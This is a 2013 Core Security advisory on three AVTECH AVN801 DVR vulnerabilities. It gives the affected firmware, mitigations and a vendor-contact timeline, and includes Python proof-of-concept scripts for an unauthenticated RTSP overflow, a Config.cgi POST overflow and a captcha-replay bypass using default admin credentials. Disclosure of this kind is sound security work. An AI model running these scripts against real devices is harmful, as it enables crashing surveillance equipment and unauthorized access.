AVTECH DVR multiple vulnerabilities

1. Advisory Information

Title: AVTECH DVR multiple vulnerabilities
Advisory ID: CORE-2013-0726
Advisory URL: http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: AVTECH Corporation
Release mode: User release

2. Vulnerability Information

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper Access Control [CWE-284]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982

3. Vulnerability Description

Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and potentially other devices sharing the affected firmware) that could allow a remote attacker:

  1. [CVE-2013-4980] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP packet handler.
  2. [CVE-2013-4981] To execute arbitrary code without authentication by exploiting a buffer overflow in /cgi-bin/user/Config.cgi, via a specially crafted HTTP POST request.
  3. [CVE-2013-4982] To bypass the captcha of the administration login console enabling several automated attack vectors.

4. Vulnerable Packages

  • DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003.
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

There was no official answer from AVTECH support team after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be:

  • Do not expose the DVR to internet unless absolutely necessary.
  • Have at least one proxy filtering the SETUP parameter in RTSP requests.
  • Have at least one proxy filtering the Network.SMTP.Receivers parameter in HTTP requests to /cgi-bin/user/Config.cgi.

6. Credits

[CVE-2013-4980] was discovered and researched by Anibal Sacco from Core Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were discovered and researched by Facundo Pantaleo from Core Security Consulting Team.

7. Technical Description / Proof of Concept Code

7.1. Buffer Overflow in RTSP Packet Handler

[CVE-2013-4980] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the RTSP transaction; no authentication is required. As a result, the device crashes and it could possibly lead to a remote code execution.

import socket

HOST = '192.168.1.1'
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "SETUP Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS RTSP/1.0\r\n"
trigger_pkt += "CSeq: 1\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n"
print "[*] Sending trigger"
s.sendall(trigger_pkt)
data = s.recv(1024)
print '[*] Response:', repr(data), "\r\n"
s.close()

7.2. Buffer Overflow in config.cgi Parameters

[CVE-2013-4981] The following Python script exploits other buffer overflow condition; no authentication is required. As a result, the device crashes and it would possible lead to a remote code execution.

import httplib

ip = "192.168.1.1"
conn = httplib.HTTPConnection(ip)
conn.request("POST", "/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1")
resp = conn.getresponse()
print resp.read()

7.3. CAPTCHA Bypass

[CVE-2013-4982] The following Python proof of concept sends a wrong captcha in first place (just to verify that captcha protection is enabled); then, it sends ten requests with an arbitrary hardcoded captcha and its matching verification code. As a result, the captcha protection can by completely bypassed.

import httplib

ip = "192.168.1.1"
print "Performing captcha replay with hardcoded wrong captcha code and verify code..."
conn = httplib.HTTPConnection(ip)
conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc HTTP/1.1")
resp = conn.getresponse()
print "Reading webpage..."
print resp.read()
print "Performing several captcha replays with hardcoded right captcha code and verify code..."
for i in range(1, 10):
    conn = httplib.HTTPConnection(ip)
    conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc HTTP/1.1")
    resp = conn.getresponse()
    print "Reading webpage..."
    print resp.read()

8. Report Timeline

  • 2013-08-06: Core Security Technologies attempts to contact vendor using the AVTECH official technical support contact page [2]. No reply received.
  • 2013-08-12: Core attempts to contact vendor.
  • 2013-08-20: Core attempts to contact vendor.
  • 2013-08-28: After 3 attempts to contact vendor, the advisory CORE-2013-0726 is released as 'user release'.

9. References

[1] http://www.avtech.com.tw.
[2] http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/.

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Published Date: 
Tuesday, August 27, 2013
Last Updated: 
Tuesday, August 27, 2013 - 5:30pm
Locally Exploitable: 
no
Remotely Exploitable: 
yes
CVE Name: 
CVE-2013-4980
CVE-2013-4981
CVE-2013-4982
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